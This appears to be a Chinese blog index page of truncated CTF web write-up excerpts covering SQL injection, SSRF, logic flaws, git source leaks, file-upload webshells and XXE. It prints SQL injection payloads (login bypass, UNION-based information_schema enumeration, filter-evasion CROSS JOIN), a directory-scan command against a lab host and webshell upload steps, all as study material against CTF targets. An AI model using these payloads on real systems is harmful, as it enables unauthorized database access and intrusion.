未完成NewStar CTF 2025 Week2 - 小 E 的管理系统
未完成NewStar CTF 2025 Week2 - 小 E 的管理系统抓包发现http://127.0.0.1:36786/query.php?id=1,疑似sql注入 加了’发现被检测到了,空格和各种符号基本都被过滤 发现没有database() 12-1 UNION select * FROM(SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT 2) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E https://blog.csdn.net/qq_73089613/article/details/153704614
未完成 MoeCTF-web-23 第二十三章 幻境迷心·皇陨星沉(大结局)
未完成 MoeCTF-web-23 第二十三章 幻境迷心·皇陨星沉(大结局)
未完成[红明谷CTF 2021]JavaWeb 1
未完成[红明谷CTF 2021]JavaWeb 1
快速入门web方向buuctf+mo
快速入门web方向buuctf+moectf解题过程sql注入1.账号密码登陆题目 方法一:万能账户密码判断闭合方式后就可以套公式啦 sql语句:1.原本:随便输入 1SELECT*FROM table_name WHERE username=' a' and password='123'; 2.我们要做的: 1SELECT*FROM table_name WHERE username=' a' or ture # ' and password='123'; 当输入 a’ or ture #整句话会被解析成: 1xx一堆被闭合的垃圾话xx or ture (一个成立即为真) where条件为真,执行最前面select语句 那么就通关了 这里有一个问题:为什么账号和密码只要一个填了万能公式就可以成功?你先想一下:账号填了这个万能公式,密码填的明明是错的为什么可以对? 1SELECT*FROM table_name WHERE usern...
快速入门web-sql注入及buuctf西电题解
快速入门web-sql注入及buuctf西电题解08 第八章 天衍真言,星图显圣 题解1.判断字段数order by 2 2.判断回显位 ‘union select 1,2# Welcome 1 3.数据库名 ‘union select database()# Welcome user 4.尝试查询数据库名为user下的所有表名 ‘union select group_concat(table_name),2 from information_schema.tables where table_schema=’user’# Welcome flag,users 5.尝试查询 数据库名为user,表名为flag 下的所有列名 ‘union select group_concat(column_name),2 from information_schema.columns where table_schema=’user’ and table_name=’flag’# Welcome value 6.查找数据 错误答案:’union select va...
快速入门web-ssrf及buuctf西电题解
快速入门web-ssrf及buuctf西电题解SSRF = 服务器端请求伪造特点 主体是服务器:请求是「服务器发起」的,不是你的电脑; 权限是服务器的权限:服务器能访问的资源(本地文件、内网 IP),你本来访问不到,但通过 SSRF 就能间接访问; 核心是 “伪造请求”:你伪造一个服务器会执行的请求(比如本地文件地址、内网地址),服务器替你执行。 [网鼎杯 2018]Fakebook11.注册登陆界面,sqlmap扫描 1python dirsearch.py -u "http://3992b9c4-b99e-44db-96b6-111d3cb92681.node5.buuoj.cn:81/" -e php --threads 1 --delay 3 -w ./ctf_core.txt 打开备份文件 1234567891011121314151617181920212223242526272829303132333435363738394041424344<?phpclass UserInfo{ public $na...
快速入门web-逻辑漏洞及buuctf西电题解
快速入门web-逻辑漏洞及buuctf西电题解[极客大挑战 2019]BuyFlag1题目:我一开始是想去把xff改成学校的特定内网ip,发现根本没有用,因为你不知道ip是啥啊 123456789101112FlagFlag need your 100000000 moneyattentionIf you want to buy the FLAG:You must be a student from CUIT!!!You must be answer the correct password!!!Only Cuit's students can buy the FLAG 由题,没思路,看源码 1234567891011<!-- ~~~post money and password~~~if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) { echo "pas...
快速入门web-信息泄露收集及buuctf西电题解
快速入门web-信息泄露收集及buuctf西电题解buuctf 禁止套娃1.找不到flag,没有思路,dir扫描 git泄露 2.githack工具获取源码 3.代码分析 123456789101112131415161718192021222324252627<?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { //preg_replace(正则, NULL, $_GET['exp']) ->把输入中正则部分给删掉 if(';' === preg_replace('/[a...
快速入门web-文件上传+包含及buuctf西电题解
快速入门web-文件上传+包含及buuctf西电题解知识点: 1.include 是什么include "/flag";include 原本的设计目的是为了让你把写好的 PHP 代码(比如头部导航栏)拼接到当前页面里。 但是,如果你让它去 include 一个不是 PHP 代码的文件(比如 /flag),它会发生一个非常有趣的现象: 它发现这玩意儿不是代码:PHP 引擎打开 /flag,一看开头没有 <?php。 它直接原样输出:PHP 觉得“既然这不是代码,那我就把它当成普通的 HTML 文字,直接显示在网页上吧”。 结果: 你的 Flag 就这样被“顺便”打印在了屏幕上。 [第二章 web进阶]文件上传 1 文件上传漏洞 题解1.上传webshell.jpg文件 2.发现上传成功却无法打开 是因为上传的目录是随机的,所以用御剑扫描即可,找到对应网页 打开 [ACTF2020 新生赛]Upload 1十分波折的一道题目哈 1.文件上传php,失败,显示只能jpg等一堆正常格式 2.上传木马jpg,改成php,nonono 3.那改成phtml?黑名单绕...
快速入门xml在ctf中的运用及知识点
快速入门xml在ctf中的运用及知识点 DOCTYPE(文档类型定义的声明) ENTITY(实体的声明) SYSTEM、PUBLIC(外部资源申请) 123456内部实体<!ENTITY 实体名称 "实体值">外部实体<!ENTITY 实体名称 SYSTEM "URL"> 10 第十章 天机符阵_revenge随便输入,得到: 12345<br /><b>Warning</b>: DOMDocument::loadXML(): Start tag expected, '<' not found in Entity, line: 1 in <b>/var/www/html/chapter10.php</b> on line <b>17</b><br /><阵枢>引魂玉</阵枢><解析>未定义</解析><输出>...